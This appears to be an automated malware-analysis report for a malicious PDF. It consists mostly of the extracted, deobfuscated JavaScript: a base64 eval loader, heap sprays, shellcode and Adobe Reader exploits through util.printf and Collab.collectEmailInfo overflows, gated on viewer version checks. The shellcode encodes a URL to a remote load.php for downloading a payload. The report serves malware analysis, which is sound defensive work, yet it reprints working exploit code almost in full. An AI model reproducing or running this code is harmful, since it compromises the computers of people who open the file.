UjNXSGhVVGt0c1VFTlZaVVZ2T1c5NWFrRlRaVEI0YWt4cU1FTkJOMVZtVmtCNWVtYzNWVEJZYWxaeGExUlZha1F3UVhoTlEzaGZVV2RaY1ZweFZ6ZEdORUZsUVRWMmJGY3dhRGRSVkdScWFUUXpiR0ZVZVhGWWNVUnZXbnBTWlVkNmVEZEVORVJQVG1GTGVFeDRTMTk1YWxZd05sUTVORW8xV1U5V05WZDZWa3gyWldVd2VHcE1hakJEUVdGWU5FODNWV1p6YjNaUFZtNDVNVlpNZG1WbE1IaHFUR293UTBGaFVEUlBOMVZtYzI5Vk5GWnVPVEZXTlhocU0yZFhNRGczYUZsWWRWaFRjRzg1TkVwdmRuSndOMVZaTXpCT1kzZ3pXRGRUY1ZKUlZuYzJVMHMxVldWV2QwRnlWa3hWV1RNd1RtTjRNMWczVXpkU1VWWjFVbVpXVGpaVFNHNTJVMlV3ZUdwTWFqQkRRV0ZRTkU4M2RtWldlbEpsVm5kQmNsWk1WVmt6TUU1amVETllOMU0zVWxGV2R6WlRaelZWWlZaUVFWTnVPRUY0WkhSRVdWcFVWV1ZGYnpsdmVXcEJVek0wZVhoWk0zazNWVk5MWDNvNGVVOVdkVFpUZG1kNWVrUXdlWEZCVTB0bFVERlZiMEY0U3pSaFUxVnZRWGhMTkdGcVZXVkZiMWx2V21sTFkxVlVXV3BTVTJGNFFuRldlbFZVVjBaSWFXUnNSMU5YWTBJMFFWOVdkelpUTm1KU1QzWkRVbVZXZUZoNldWTXdla3RUZVhwYVFqTjZhMjlaWlhOdldXcFNVMkY0UW5GV2VsVlVWMFpJYVZGUFZtSkJYMG93Yld4aFJFdGpSM0ZYY1RNMGFHTllVMHRUYzI5Wk1GUjBTMk41YWxkc1lVUkxZMGRUUm5FMlUyRmplV2xMWTE5blYzcFVWRmt5UkZOdGNUVkNObE5RUTNac1NUQm9lblZ2V1dwU1UyRjRRbkZXZWxWVVYwWklhVkp5U2xBMlUzTTNWWEpXWWpBMFVEZFFNa3RUZVRST01EWmxTbEEyVTNOMEp5azc=");
                QQktGm=LB3DRmI6S74tka(gXJPveSKaGl);
                eval(QQktGm);
custom_b64_stage_000.js deobfuscated-js custom Base64 decoded JavaScript layer 3 (PDF /JS object 7) at offset 0x11DA 4570 bytes
SHA-256: 52a2ccb667b874407fa454894d5afd023017200d8e0d3811afd003463a802db5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
d2AScXIxfWAqv=unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u672F%u6172%u6D73%u2E61%u6F63%u2F6D%u7073%u366C%u6C2F%u616F%u2E64%u6870%u0070"); var fIHn5HI1=unescape("%u0A0A%u0A0A");var nm=20;var fg=nm+d2AScXIxfWAqv.length;while(fIHn5HI1.length<fg)fIHn5HI1+=fIHn5HI1;var nmbr=fIHn5HI1.substring(0,fg);var stig=fIHn5HI1.substring(0,fIHn5HI1.length-fg);while(stig.length+fg<0x60000)stig=stig+stig+nmbr;var arrm=new Array();for(iz=0;iz<1200;iz++){arrm[iz]=stig+d2AScXIxfWAqv}var veBQ2Wj="129"+"99999999"+"99999"+"9999"+"8888888"+"888888888888888888888888888888"+"88888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888"+"888888888888888888888888888888888888888888"+"88888888888888888888888888888888888"+"8888888888888"+"8888888888888888888"+"88888888888888";util.printf("%45000f",veBQ2Wj);function OZkVb() { var EWaXoNc = new Array(); function DchYdr1GPJD(dNvkx2KiXwzmS, KGxxMdZ4) { while (dNvkx2KiXwzmS.length*2<KGxxMdZ4){dNvkx2KiXwzmS += dNvkx2KiXwzmS;} dNvkx2KiXwzmS = dNvkx2KiXwzmS.substring(0,KGxxMdZ4/2); return dNvkx2KiXwzmS; } function VvDTLXh() { var u6L83MSk = 0x0c0c0c0c; var ZjgrJ19Hx = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u693F%u3D64%u7326%u6C70%u343D"); var b4wqoqFY = 0x400000; var lsXE0V = ZjgrJ19Hx.length * 2; var KGxxMdZ4 = b4wqoqFY - (lsXE0V+0x38); var dNvkx2KiXwzmS = unescape("%u9090%u9090"); dNvkx2KiXwzmS = DchYdr1GPJD(dNvkx2KiXwzmS, KGxxMdZ4); var o3HBn = (u6L83MSk - 0x400000)/b4wqoqFY; for (var eXY8kULEpswFF2=0;eXY8kULEpswFF2<o3HBn;eXY8kULEpswFF2++) { EWaXoNc[eXY8kULEpswFF2] = dNvkx2KiXwzmS + ZjgrJ19Hx; } } function D3bPyqe1R3() { var QssD8RkD = app.viewerVersion.toString(); QssD8RkD = QssD8RkD.replace(/\D/g,""); var YSSnBWp = new Array(QssD8RkD.charAt(0),QssD8RkD.charAt(1),QssD8RkD.charAt(2)); if ((YSSnBWp[0] == 8 && ((YSSnBWp[1] == 1 && YSSnBWp[2] < 2) || YSSnBWp[1] < 1)) || (YSSnBWp[0] == 7 && YSSnBWp[1] < 1) || (YSSnBWp[0] < 7)) { VvDTLXh(); var SdEEgqeehJf9 = unescape("%u0c0c%u0c0c"); while(SdEEgqeehJf9.length < 44952) SdEEgqeehJf9 += SdEEgqeehJf9; this.collabStore = Collab.collectEmailInfo({subj: "",msg: SdEEgqeehJf9}); } } D3bPyqe1R3(); }

Open this report in the interactive analyzer, or submit your own file for analysis.